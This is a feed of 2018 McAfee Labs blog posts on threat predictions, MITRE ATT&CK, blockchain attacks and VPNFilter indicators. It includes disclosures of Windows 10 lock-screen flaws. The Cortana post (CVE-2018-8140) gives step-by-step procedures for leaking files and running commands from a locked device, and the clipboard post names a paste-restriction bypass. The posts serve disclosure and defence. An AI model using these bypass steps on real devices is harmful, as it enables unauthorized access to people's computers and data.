The First Half of 2018

Ransomware Pivots to New Targets, New Objectives

The Prediction

In November of last year, we predicted 2018 was going to be colored by ransomware attacks that were anything but ordinary. These attacks could pivot away from traditional, individual extortion, and rather aim to sabotage or disrupt organizations.

The Verdict

Ransomware attacks have seen a pivot, last year we witnessed the WannaCry ransomware attacks, which spread like wildfire to hundreds of thousands of devices, but this year’s ransomware attacks have reshaped their focus, completely moving away from the individual attack. With disruption as an objective, these attacks managed to shut down both critical and personal services. As of June 2018, an Ohio police and fire department, a Minnesota psychiatric provider, and even a family planning clinic have all been victims of a ransomware attack, proving threat actors will stop at almost nothing in order to cause a bit of chaos.

The Adversarial Machine Learning Arms Race Revs Up

The Prediction

Late last year, our Labs team discussed how the influence of machine learning will be felt on both sides of the equation – white hats will ramp up their AI/ML defenses, while cybercriminals will tap into the technology’s power to enact advanced attacks. With machines working for anyone, an arms race would be fueled, and machine-supported actions would increase from both defenders and attackers.

The Verdict

Machine learning and AI are very present in the arsenal of cyber defenders, as the industry has become fairly successful at applying AI to malware detection and user and entity behavior analytics (UEBA) by using deep neural networks and anomaly detection. In fact, the use of this technology and application of human-machine teaming has been cited as a reason top talent will accept a job at a cybersecurity firm in the first place. However, we have yet to see them actively leveraged by cybercriminals in attacks this year.

In lieu of AI, attacks in 2018 have rather used more traditional techniques, but for non-traditional purposes. Just take Operation Honeybee as an example – the attacked leveraged malicious documents, which is typically known as an older attack vector, but set its sights on a unique type of target: humanitarian aid groups. Honeybee also ladders back to a larger trend seen throughout the first half of this year – threats have new targets, and certainly new objectives.

When Your Home Becomes the Ultimate Storefront

The Prediction

The growth of smart home devices is nothing new, but the way they’re leveraged by corporations has changed over time. We predicted 2018 to be no exception, companies creating these devices have powerful incentives to observe what consumers are doing in their homes and learn from their behaviors. We foresaw these corporations exploring new ways to capture consumer data and adjusting terms and conditions in order to avoid getting fined.

The Verdict

The monetization and use of consumer data have been huge topics of discussion in 2018, but not because of the IoT industry yet. Rather, the now infamous Facebook Cambridge Analytica incident stirred up quite the debate earlier this year around what companies are doing with consumer data.

In 2018, IoT devices are being used to spy – but not by corporations. Cybercriminals are continuing to use vulnerable IoT devices to their advantage, swooping data and spying on families as a result of device vulnerabilities. From smart TVs to baby monitors, the handful of IoT attacks in 2018 have proved that these devices still have ways to go when it comes to a solid security posture.

The Next Six Months

Serverless Apps: New Opportunities for Friend and Foe

The Prediction

Cybercriminals will take advantage of convenient opportunities as they arise, which is precisely why our team predicted that threat actors will jump on serverless apps this year, using their greater granularity as a chance to increase the attack surface and steal data in transit across a network.

The Verdict 

As of now, major attacks against serverless apps have yet to be seen. Mind you, it could soon become a reality, as researchers have recently figured out how to turn serverless apps into sources for crypto-mining. These researchers are in the minority, as many IT professionals don’t really understand the new technology and all the cyber risk associated with it – which in itself can pose the biggest risk of all. In fact, many security professionals lack the basic skills required to understand and secure this technology.

Inside Your Child’s Digital Backpack

The Prediction

Children are being introduced to the internet and tech devices earlier than ever before. As exciting as that is, most kids are not properly trained on how to surf the web safely which can pose potential risks to their privacy. This type of exposure led us to predict that in 2018 organizations will begin to collect and leverage digital content generated by children, and parents will be unaware of how much information is out there about their kid.

The Verdict

Though there has been no known incident yet in which a child’s information has been leveraged or compromised, some apps and gadgets have the potential to do so. It was recently reported, that a new app being used by kids is allowing other users to track them by GPS. According to McAfee research, children’s online gaming use could also put them at serious risk of a cyberattack.

Beyond these predictions, there is also a variety of other threats security professionals could be facing in the second half of 2018. Just take VPNFilter, Hidden Cobra, and Gold Dragon for example – all of these attacks have proven that cybercriminals have come out into 2018 swinging. They’re going after high-profile, high stakes industries, and are using deceptive and sly techniques in order to steal information from these targets.

Needless to say, the threat landscape is going to continue to change and evolve throughout 2018. However, no matter how the rest of the year unfolds, we’re confident that cyber defenders are ready to take on any future threat that may come their way.

Hear from our leading researchers from McAfee Labs and Office of the CTO as they share more details into the threat landscape predictions for 2018 in our on-demand webinar.

To learn more about what McAfee is doing to help tackle today’s cyberthreats, be sure to follow us at @McAfee and @McAfee_Labs.

The post Checking In Halfway: The McAfee Labs 2018 Threats Predictions appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/checking-in-halfway-the-mcafee-labs-2018-threats-predictions/feed/ 0
Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/#respond Tue, 19 Jun 2018 04:01:25 +0000 https://securingtomorrow.mcafee.com/?p=89338 Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. […]

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
Every week we read about adversaries attacking their targets as part of online criminal campaigns. Information gathering, strategic advantage, and theft of intellectual property are some of the motivations. Besides these, we have seen during the past two years an increase in attacks in which adversaries are not shy of leaving a trail of destruction. One might wonder how to deal with these kinds of threats and where to start.

Sun Tzu’s The Art of War contains some great wisdom regarding the strategy of warfare. One of the most popular is the advice “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

Applying this advice to information security, let’s focus first on knowing yourself. Knowing yourself can roughly be divided into two parts:

  • What do I have that can be of value to an attacker?
  • How do I detect, protect, and correct any threats to my identified value?

Every company has a value, it takes only one criminal mind to see that and to attempt to exploit it. Ask yourself what the core of your business is, the secret sauce that people might be after, what will take you out of business, whom you are doing business with, who are your clients, etc.

Once you have identified your organization’s value, the second part of knowing yourself comes into play. You must understand where you to focus your defenses and invest in technology to detect and protect against threats.

After wrapping up the knowing yourself part, what can we learn from the enemy? Ask yourself “Who would likely be interested in attacking me?” By going through the list of known adversaries and cybercriminal groups, you can create a list based on which geographies and vectors they target and classify them by risk. Here is a simplified example:

Once you have your list and risk classification ready, you must next study the tactics, techniques, and procedures used by these adversaries. For mapping their techniques and associated campaigns, we use the MITRE Adversarial Tactics, Techniques, and Common Knowledge model (ATT&CK). The matrix covers hundreds of techniques, and can be applied for different purposes. In this case, we will focus on the risk versus mapping the defensive architecture.

In Q1 of 2018, we mapped the targeted attacks discovered by ourselves and our peers in the industry. The following example comes from one adversary we tracked, showing the techniques they used:

With MITRE’s Navigator tool you can select an actor or malware family. After making the selection, the boxes in the matrix show which techniques the actor or malware has used.

From these techniques we can learn how our environments protect against these techniques and where we have gaps. The goal is not to create coverage or signatures for each technique; the matrix helps organizations understand how attackers behave. Having more visibility into their methods leads us to the right responses, and helps us contain and eradicate attacks in a coordinated way. By comparing the multiple actors from your initial risk assessment, you can build the matrix from the perspective of high/medium/low risk and map it against your defenses.

Although some adversaries might not have a history of attacking you and your sector, it is still good to ask yourself “What if we were a target?” Would your environment create enough visibility to detect and deal with these techniques?

Statistics

When we looked at the first quarter, we noticed that the three techniques were the most popular in the category of Privilege Escalation:

  • Exploitation of vulnerability
  • Process injection
  • Valid accounts

To determine your coverage and detection capacity, you should ask if the exploits used completely new vulnerabilities (no patches available) or if they had existed for a while. Would your environment have the right patches installed or are you missing them and have to take action?

When we looked at the categories of Exfiltration and Command and Control, most campaigns exfiltrated their data over a control server channel using a common port. That translates to either TCP port 80 (HTTP) or TCP port 443 (HTTPS). We all use these ports from inside the network to communicate to the internet. What if all my other defenses would fail to discover the suspicious activity? Which defensive components in my network would be able to inspect the outgoing traffic and block or flag the exfiltration attempts?

Conclusion

In this post, we highlighted one approach and application of the ATT&CK model. There are many ways to apply it for red teaming, threat hunting, and other tasks. At McAfee we embrace the model and are applying it to different levels and purposes in our organization. We are not only using it but also contribute to the model by describing newly discovered techniques used by adversaries.

The post Apply MITRE’s ‘ATT&CK’ Model to Check Your Defenses appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/apply-mitres-attck-model-to-check-your-defenses/feed/ 0
Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/#respond Thu, 14 Jun 2018 21:34:15 +0000 https://securingtomorrow.mcafee.com/?p=89683 The McAfee Labs Advanced Threat Research team has been investigating the Windows 10 platform. We have submitted several vulnerabilities already and have disclosed our research to Microsoft. Please refer to our vulnerability disclosure policy for further details or the post from earlier this week on Windows 10 Cortana vulnerabilities. Early last year, a trivial “information leak” […]

The post Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 appeared first on McAfee Blogs.

]]>
The McAfee Labs Advanced Threat Research team has been investigating the Windows 10 platform. We have submitted several vulnerabilities already and have disclosed our research to Microsoft. Please refer to our vulnerability disclosure policy for further details or the post from earlier this week on Windows 10 Cortana vulnerabilities.

Early last year, a trivial “information leak” was reported in Windows 10. This technique no longer works on most current builds of Windows 10, but a variation of this simple method works quite well on some versions of Windows 10, specifically RS1 (RedStone 1).

The issue is simple to describe and execute. For a local attack, you can use a physical keyboard; if there is a network vector that would allow one to remotely reach the Windows login screen (such as RDP), you can use the software-based keyboard accessible from the lock screen. On all versions of Windows 10, the “paste” function appears to be intentionally forbidden from the Windows lock screen, including the “Hey Cortana” function. The original finding demonstrated CTRL+V could be used to paste clipboard contents. This is now disabled, even on RS1. However, we have found a way to bypass this restriction using the keyboard shortcut CTRL + SHIFT + INSERT, allowing us to access in plain text the clipboard contents, whatever they may be. While we are continuing to explore this technique to force-copy functions (and access arbitrary content), for now we can access whatever happens to be copied. In the demo this is a password allowing login.


The post Unintended Clipboard Paste Function in Windows 10 Leads to Information Leak in RS1 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/unintended-clipboard-paste-function-in-windows-10-leads-to-information-leak-in-rs1/feed/ 0
Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/#respond Wed, 13 Jun 2018 13:01:27 +0000 https://securingtomorrow.mcafee.com/?p=89384 On May 19 researchers discovered a series of vulnerabilities in the blockchain-based EOS platform that can lead to remote control over participating nodes. Just four days prior, a mining pool server for the IOT platform HDAC was compromised, impacting the vast majority of miners. In January the largest-ever theft of cryptocurrencies occurred against the exchange […]

The post Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security appeared first on McAfee Blogs.

]]>
On May 19 researchers discovered a series of vulnerabilities in the blockchain-based EOS platform that can lead to remote control over participating nodes. Just four days prior, a mining pool server for the IOT platform HDAC was compromised, impacting the vast majority of miners. In January the largest-ever theft of cryptocurrencies occurred against the exchange Coincheck, resulting in the loss of US$532 million in NEM coin. Due to its increased popularity and profitability cybercriminals have been targeting all things blockchain. McAfee Advanced Threat Research team analysts have now published the McAfee Blockchain Threat Report to explain current threats against the users and implementers of blockchain technologies.

What is Blockchain?

Even if you have not heard of blockchain, you have likely heard of cryptocurrencies, namely Bitcoin, the most popular implementation. In late 2017 Bitcoin reached a value of $20,000 per coin, prompting a lot of interest in the currency—including from cybercriminals. Cryptocurrencies are built on top of blockchain, which records transactions in a decentralized way and enables a trusted “ledger” between trustless participants. Each block in the ledger is linked to the next block, creating a chain. Hence, the system is called a blockchain. The chain enables anyone to validate all transactions without going to an outside source. From this, decentralized currencies such as Bitcoin are possible.

Proof-of-work blockchain. Source: https://bitcoin.org/bitcoin.pdf.

Blockchain Attacks

Attackers have adopted many methods targeting consumers and businesses. The primary attack vectors include phishing, malware, implementation vulnerabilities, and technology. In a phishing scheme in January, Iota cryptocurrency lost $4 million to scams that lasted several months. Malware authors often change their focus. In late 2017 to early 2018 some have migrated from deploying ransomware to cryptomining. They have been found using open-source code such as XMRig for system-based mining and the mining service Coinhive.

Source: McAfee Labs

Implementation vulnerabilities are the flaws introduced when new technologies and tools are built on top of blockchain. The recent EOS attack is one example. In mid-July 2017 Iota suffered an attack that essentially enabled attackers to steal from any wallet. Another currency, Verge, was found with numerous vulnerabilities. Attackers exploiting the vulnerabilities were able to generate coins without spending any mining power.

Known attacks against the core blockchain technology are much more difficult to implement, although they are not unheard of. The most widely known attack is the 51% attack, or majority attack, which enables attackers to create their own chains at will. The group 51 Crew targeted small coins, including Krypton, and held them for ransom. Another attack, known as a Sybil attack, can allow an attacker to completely control a targeted victim’s ledger. Attempts have been made for larger scale Sybil attacks such as one in 2016. 

Dictionary Attacks

Blockchain may be a relatively new technology but that does not mean that old attacks cannot work. Mostly due to insecure user behavior, dictionary attacks can leverage some implementations of blockchain. Brain wallets, or wallets based on weak passwords, are insecure, yet people still use them. These wallets are routinely stolen, as was the case with the nearly BTC60 stolen from the following wallet:

This wallet recorded two transactions as recently as March 5, 2018. One incoming and one outgoing transaction occurred within roughly 15 minutes. Source: https://blockchain.info.

Exchanges Under Attack

The biggest players, and targets, in blockchain are cryptocurrency exchanges. Cryptocurrency exchanges can be thought of as banks in which you users create accounts, manage finances, and even trade currencies including traditional ones. One of the most notable incidents is the attack against Mt. Gox between 2011‒2014 that resulted in $450 million of Bitcoin stolen and led to the liquidation and closure of the company. Coincheck, previously mentioned, survived the attack and began reimbursing victims for their losses in March 2018. Not all recent exchanges fared so well. Bitcurex abruptly closed and led to an official investigation into the circumstances; Youbit suffered two attacks, leading the company into bankruptcy.

An advertisement for the shuttered Polish exchange Bitcurex.

Conclusion 

Blockchain technologies and its users are heavily targeted by profit-driven cybercriminals. Current attackers are changing their tactics and new groups are entering the space. As more businesses look to blockchain to solve their business problems and consumers increasingly rely on these technologies, we must be diligent in understanding where the threats lie to achieve proper and tailored risk management. New implementations must place security at the forefront. Cybercriminals have already enjoyed successes against the users and implementations of blockchain so we must prepare accordingly.

The post Threat Report: Don’t Join Blockchain Revolution Without Ensuring Security appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/threat-report-dont-join-blockchain-revolution-without-ensuring-security/feed/ 0
Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/#respond Tue, 12 Jun 2018 17:15:28 +0000 https://securingtomorrow.mcafee.com/?p=89585 June’s “Patch Tuesday” (June 12) is here, but it is likely many Windows 10 users have not yet applied these updates.

The post Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) appeared first on McAfee Blogs.

]]>
June’s “Patch Tuesday” (June 12) is here, but it is likely many Windows 10 users have not yet applied these updates. If you have not, just be sure not to leave your laptop lying around! The patches in this cycle fix a code execution vulnerability using the default settings for Windows 10 and the “Cortana” voice assistant. We’ll detail how this vulnerability can be used to execute code from the locked screen of a fully patched Windows 10 machine (RS3 at the time of our original submission, and confirmed on RS4 prior to this patch cycle). The vulnerability was submitted to Microsoft as part of the McAfee Labs Advanced Threat Research team’s responsible disclosure policy, on April 23. Attribution for this vulnerability submission goes to Cedric Cochin, Cyber Security Architect and Senior Principal Engineer.

In this post, we will address three vectors of research that have been combined by Microsoft and together represent CVE-2018-8140. The first of these is an information leak, but we’ll culminate with a demo showing full code execution to log in to a locked Windows device!

Using “Hey Cortana!” to Retrieve Confidential Information

Personal digital assistants such as Siri, Alexa, Google Assistant, and Cortana have become commodities in many technologically inclined houses. From telling jokes, to helping with the grocery list, to turning on the kitchen lights, these robotic voices are beginning to feel oddly more and more personal as they expand their roles in our daily lives. However, we should consider the increased risk of built-in digital personal assistants when looking at new attack vectors for laptops, tablets, and smartphones. Our research on Microsoft’s Cortana voice assistant began after reading about the “BadUSB” attacks demonstrated by industry researchers. We decided to take this a step further and ended up finding and reporting to Microsoft several issues related to Cortana.

If you have spoken with Cortana, you may have noticed that “she” is very helpful for a number of simple tasks: providing definitions, or looking up corporations, movies, artists, or athletes. She can even do math! In Windows 10, on the most recent build at the time of submission, we observed that the default settings enable “Hey Cortana” from the lock screen, allowing anyone to interact with the voice-based assistant. This led to some interesting behavior and ultimately vulnerabilities allowing arbitrary code execution.

We begin this analysis with a quick look into Windows indexing. If you have ever opened the advanced view of the Windows Indexing control panel, and navigated to the File Types tab, you will see a long list of file extensions. For each of them you will find details about the associated filter used by the indexing process. Essentially you have the “file properties filter” and several other filters that could all be summarized as “file properties and file content filter.”

This means the index process will crack open the files and index their content, including some strings present in these documents. Let’s keep that in mind for later as we continue.

Using this knowledge, we wanted to try to access the same menu that you would see when using a Cortana search on an unlocked device.

This will come as a surprise and lies at the core of all the issues we found, but simply typing while Cortana starts to listen to a query on a locked device will bring up a Windows contextual menu, as shown below:

On top: the result of typing “pas” in the Cortana search field on an unlocked computer.
Above: the result of asking “Hey Cortana, P A S” and using a whitespace keyboard sequence.

In the preceding example, we queried Cortana for the term pas, no preamble to the question, just speaking the three letters, P. A. S. Why not “pass”? Because Cortana can be quite picky with verbal statements and there is no dictionary definition for “pass,” leading to Cortana inviting us to continue in Edge after unlocking the device. Alternatively, instead of issuing a verbal statement, we could click on the “tap and say” button and just start typing this text, for example.

We now have a contextual menu, displayed on a locked Windows 10 device. What could go wrong?

Remember that all the results presented by Cortana come from indexed files and applications, and that for some applications the content of the file is also indexed. Now we can simply hover over any of the relevant matches. If the match is driven by filename matching, then you will be presented with the full path of the file. If the match is driven by the file content matching, then you may be presented with the content of the file itself.

Keep in mind that the entire user folder structure is indexed, which includes the default location for most documents but also for mappings like OneDrive.

Example of data leakage using voice command with Cortana and the whitespace keyboard sequence.

Armed with this knowledge, you can use your imagination to come up with specific keywords that could be used to start harvesting confidential information from the locked device.

Code Execution from the Windows Lock Screen (User Interaction May be Required)

Next, we asked the question: Could we go a step further and get code execution in the context of the authenticated user? Remember we are using only a combination of voice commands and mouse/touchpad/touchscreen to gain access to the contextual menu at this point. We observed that just by hovering over a file, the full path or content of the file would be displayed. What happens if we were to click on it? That depends on the target. If the file being opened is an application or an executable (such as notepad or calc.exe), the file will run and be accessible only after the user properly logs in. If it is a document, script, or text file, it will be opened by an editor instead of being executed. At this point we can execute various preloaded Windows utilities such as calculator, but we cannot pass any parameters to the command line. We can open scripts including PowerShell, but instead of being executed, they will be opened in a text editor (notepad). The lack of parameters is a limitation for a “live off the land” attack, which uses current tools and content to achieve a malicious purpose; however, there are plenty of malicious activities that could be performed even with these restrictions. For example, many uninstallers will happily remove software without any need for parameters.

Let’s return to our goal: code execution from the lock screen. The only requirement for something to show up in the contextual menu is for it to be indexed.

Public folders indexed by default.

There are multiple ways for an unauthenticated attacker to get results to show up in the index of an authenticated user. One method relies on OneDrive. As the root of the OneDrive directory structure is in the user folder, all the OneDrive content is indexed by default. Basically, if you ever share a folder or file with “edit” rights, the person you share it with, as well as any other recipients of a forwarded link, can now drop a file that will be indexed. With the file indexed we have multiple options to proceed.

Option 1: Drop an Executable File

This method assumes you can write an executable file to the disk; it does not require you to have executed it. Via a phishing attack or another vulnerability, an attacker could drop a backdoor (for example, Cobalt Strike Beacon or Meterpreter) and be in business. If you need to execute the payload as an administrator, you can simply right-click (for a touchscreen this is a longer-hold screen press) and select “Run as administrator.”

When running applications that do not have the Auto-Elevate Privilege, you will trigger a user account control (UAC) prompt and nothing will execute. This could still result in a valid attack because users rarely check the content of the prompt and often proceed through the warning dialog box. The attacker would have to execute the program, and then wait for the authenticated user to log in and finish the job. If the application has auto-elevate privileges, there will be no UAC prompt and the application will execute at high integrity.

This is interesting behavior, but on its own not a very likely attack scenario, so let’s continue to explore our options. Why not simply use a USB key to drop the payload because we have physical access? The content of the USB key is not indexed, so it would not be presented as a result of the search query (although there are other ways to use a USB device; see below).

Option 2: Drop a non-PE Payload

Portable executable (PE) backdoors are great, but can we gain execution with a non-PE payload, for example, a PowerShell script?  We can use the same right-click capability to assist, but with a small twist. The right-click menu is not always the same, even for a given file type.

When you ask Cortana about “PS1,” you will be presented with your indexed PowerShell scripts. A right click will allow you to “open file location” or “copy full path,” but with no means of execution.

If you click on the file as we already mentioned, the file will open in edit mode. Curiously, it will not open the default editor (PowerShell ISE) for PowerShell scripts; instead, it will open the script in notepad. We assume this was intended as a security measure because notepad cannot execute scripts, unlike PowerShell ISE.

The default right-click menu for PS1 files.

Remember we mentioned that Cortana changes results based on your input query? When properly logged in, if you ask Cortana about “txt” using the query “Hey Cortana” followed by the letters “T,” “X,” “T,” she will present you with text documents, Notepad, and the most recent documents open by Notepad. Yet the right-click menu for items in the Recent category is different than the right-click menu for the same item in the Documents category.

At top:the context menu for a Recent item; above: the context menu for a Document item.

We follow a three-step process:

  • Land a PowerShell script in a location that will be indexed
    • Public folder, public share, or OneDrive
  • Execute a search query that will show the document and click on it
    • “Hey Cortana, PS1”
    • Select the PowerShell script you just indexed and left click
    • The PowerShell script opens in Notepad
  • Execute a search query that will show the recent documents, right click, and…
    • Using Cortana, type or search in the contextual menu for “txt”
    • Right click on the PowerShell script in the Recent category under the Apps tab at the top (not Documents)
    • Click “Run with PowerShell”

“Run with PowerShell” right-click menu option for Recent items.

We now have local code execution with the payload of our choosing, without any exploit, even if the device is encrypted, on an up-to-date locked Windows 10 device.

This technique helps us understand some of the differences between apps, documents, extensions, and the way Windows handles them from a locked or unlocked screen. Yet it probably does not represent much of a real-world attack vector. Then again, we are not finished.

Logging into a Locked Device with no User Interaction

Finally, we have local code execution, but with some real limitations. We need to get our payload indexed but we cannot pass command-line parameters. This could be a limiting factor for our PowerShell attack vector because the execution policy may prevent its execution, and without command-line parameters we cannot pass an “-ExecutionPolicy Bypass” (or any other flavor). We would also have to find a way to land a PS1 script on the victim’s box, and have remote access to the physical machine or the login screen.

The techniques we have described so far are far too complicated compared with the simplicity and effectiveness of what comes next.

You recall the use of the keyboard-timing sequence to trigger the contextual search menu from a locked screen while querying Cortana. Any keystroke can trigger the menu from the time when Cortana begins to listen to when the answer is displayed. Press any key at this point; we like to use the spacebar because you cannot backspace and Windows will nicely ignore or trim out the space in its text results anyways. Invoke keyboard input too early or before Cortana is listening and you will be prompted to enter your password; invoke too late and Cortana goes back to sleep or returns normal results without a context menu.

It is not very intuitive to use the keyboard in addition of voice commands, but you can type your search the same way you do on an unlocked device, assuming that you triggered Cortana to listen.

The following screenshot demonstrates this behavior:

  • Trigger Cortana via “Tap and Say” or “Hey Cortana”
  • Ask a question (this is more reliable) such as “What time is it?”
  • Press the space bar, and the context menu appears
  • Press esc, and the menu disappears
  • Press the space bar again, and the contextual menu appears, but this time the search query is empty
  • Start typing (you cannot use backspace). If you make a mistake, press esc and start again.
  • When done (carefully) typing your command, click on the entry in the Command category. (This category will appear only after the input is recognized as a command.)
  • You can always right click and select “Run as Administrator” (but remember the user would have to log in to clear the UAC)

You can use the following example of a simple PowerShell command to test. Enjoy the soothing beeps that demonstrate code execution from a locked device.

What can we do at this point? You name it. Our demo shows a password reset and login on a Windows 10 build, using only this simple technique.

The easiest mitigation technique, in the absence of patching the device (which we strongly recommend), is to turn off Cortana on the lock screen. This week’s Patch Tuesday from Microsoft contains fixes for these issues under CVE-2018-8140.

This concludes our examination of Cortana (at least for now). The McAfee Advanced Threat Research team has a fundamental goal of eliminating critical threats to the hardware and software we use; this month’s patch is a clear step toward furthering that goal. The attack surface created by vocal commands and personal digital assistants requires much more investigation; we are just scratching the surface of the amount of research that should be conducted in this critical area.

A team of several independent researchers also discovered and disclosed this vulnerability around the time of our submission. Additional credit for this discovery goes to: Ron Marcovich, Yuval Ron, Amichai Shulman and Tal Be’ery. Their names are also on the Microsoft disclosure page.

The post Want to Break Into a Locked Windows 10 Device? Ask Cortana (CVE-2018-8140) appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/want-to-break-into-a-locked-windows-10-device-ask-cortana-cve-2018-8140/feed/ 0
VPNFilter Malware Adds Capabilities to Exploit Endpoints https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/vpnfilter-malware-adds-capabilities-to-exploit-endpoints/#respond Wed, 06 Jun 2018 15:42:24 +0000 https://securingtomorrow.mcafee.com/?p=89414 VPNFilter, a botnet-controlled malware that infects networking devices, was first documented by researchers from Cisco Talos. McAfee Labs also published a blog on May 23 with some initial information. In our last post we discussed the three stages of infection and the devices affected by the malware, and how it can maintain a persistent presence […]

The post VPNFilter Malware Adds Capabilities to Exploit Endpoints appeared first on McAfee Blogs.

]]>
VPNFilter, a botnet-controlled malware that infects networking devices, was first documented by researchers from Cisco Talos. McAfee Labs also published a blog on May 23 with some initial information.

In our last post we discussed the three stages of infection and the devices affected by the malware, and how it can maintain a persistent presence on an infected device even after a reboot. The malware can also monitor traffic routed through the infected device. (Read the first post for more details.)

In this post we will report new information released by Cisco Talos. The findings reveal that that malware now targets additional devices, including products from Huawei, Asus, D-Link, Ubiquiti Networks, MikroTik, Upvel, ZTE Linksys, Netgear, and TP-Link.

In our previous post, we discussed two modules, a traffic sniffer and Tor, used in Stage 3 of the infection. Now researchers have analysed a third module in the third stage that intercepts network traffic by using a man-in-the-middle attack and injects malicious code while content passes through the router. Using this new module, an attacker can launch an exploit, and perform data exfiltration or a JavaScript injection onto the victim’s device.

The malware added another module that deletes its traces on the infected device. It then clears the flash memory and deletes operating system files, rendering the device inoperable.

The new Stage-3 module’s packet sniffer looks for basic authentication in the traffic content, and also monitors connections for industrial control systems traffic related to the Modbus protocol, which is typically used in SCADA systems. 

Coverage and Mitigation

The aforementioned IOCs are covered as follows:

  • Detection names for files: Linux/VPNFilter
  • V3 DAT with coverage version: 3367
  • V2 DAT with coverage version: 8916

All samples are classified in the GTI cloud as malware, as well as all relevant URLs.

Further Recommendations from the Talos Threat Research Team

  • Reboot SOHO routers and NAS devices to remove the potentially destructive, nonpersistent Stage 2 and Stage 3 malware
  • Work with the manufacturer to ensure that your device is up to date with the latest patches. Apply the updated patches immediately.
  • ISPs should aggressively work with their customers to ensure their devices are patched to the most recent firmware 

Updated Indicators of Compromise and Sample Hashes 

URLs and IP addresses

  • photobucket[.]com/user/millerfred/library
  • photobucket[.]com/user/jeniferaniston1/library
  • photobucket[.]com/user/lisabraun87/library
  • photobucket[.]com/user/eva_green1/library
  • photobucket[.]com/user/suwe8/library
  • photobucket[.]com/user/bob7301/library
  • toknowall[.]com
  • photobucket[.]com/user/amandaseyfried1/library
  • photobucket[.]com/user/nikkireed11/library
  • 4seiwn2ur4f65zo4[.]onion/bin256/update.php
  • zm3lznxn27wtzkwa[.]onion/bin16/update.php
  • photobucket[.]com/user/kmila302/library
  • photobucket[.]com/user/monicabelci4/library
  • photobucket[.]com/user/katyperry45/library
  • photobucket[.]com/user/saragray1/library
  • zuh3vcyskd4gipkm[.]onion/bin32/update.php
  • 6b57dcnonk2edf5a[.]onion/bin32/update.php
  • tljmmy4vmkqbdof4[.]onion/bin32/update.php
  • 46.151.209[.]33
  • 217.79.179[.]14
  • 91.214.203[.]144
  • 94.242.222[.]68
  • 82.118.242[.]124
  • 95.211.198[.]231
  • 195.154.180[.]60
  • 5.149.250[.]54
  • 94.185.80[.]82
  • 91.121.109[.]209
  • 217.12.202[.]40
  • 62.210.180[.]229
  • 91.200.13[.]76

File Hashes

  • 00C9BBC56388E3FFFC6E53EF846AD269E7E31D631FE6068FF4DC6C09FB40C48B
  • 0424167DA27214CF2BE0B04C8855B4CDB969F67998C6B8E719DD45B377E70353
  • 055BBE33C12A5CDAF50C089A29EAECBA2CCF312DFE5E96183B810EB6B95D6C5A
  • 0649FDA8888D701EB2F91E6E0A05A2E2BE714F564497C44A3813082EF8FF250B
  • 081E72D96B750A38EF45E74D0176BEB982905AF4DF6B8654EA81768BE2F84497
  • 0DC1E3F36DC4835DB978A3175A462AA96DE30DF3E5031C5D0D8308CDD60CBEDE
  • 11533EEDC1143A33C1DEAE105E1B2B2F295C8445E1879567115ADEBFDDA569E2
  • 1367060DB50187ECA00AD1EB0F4656D3734D1CCEA5D2D62F31F21D4F895E0A69
  • 14984EFDD5343C4D51DF7C79FD6A2DFD791AA611A751CC5039EB95BA65A18A54
  • 181408E6CE1A215577C1DAA195E0E7DEA1FE9B785F9908B4D8E923A2A831FCE8
  • 1CB3B3E652275656B3AE824DA5FB330CCCD8B27892FB29ADC96E5F6132B98517
  • 1E741EC9452AAB85A2F7D8682EF4E553CD74892E629012D903B521B21E3A15BF
  • 218233CC5EF659DF4F5FDABE028AB43BC66451B49A6BFA85A5ED436CFB8DBC32
  • 24B3931E7D0F65F60BBB49E639B2A4C77DE83648FF08E097FF0FA6A53F5C7102
  • 29AE3431908C99B0FFF70300127F1DB635AF119EE55CD8854F6D3270B2E3032E
  • 2AA7BC9961B0478C552DAA91976227CFA60C3D4BD8F051E3CA7415CEAEB604CA
  • 2AF043730B632D237964DD6ABD24A7F6DB9DC83AAB583532A1238B4D4188396B
  • 2B39634DCE9E7BB36E338764EF56FD37BE6CD0FAA07EE3673C6E842115E3CEB1
  • 2C2412E43F3FD24D766832F0944368D4632C6AA9F5A9610AB39D23E79756E240
  • 2EF0E5C66F6D46DDEF62015EA786B2E2F5A96D94AB9350DD1073D746B6922859
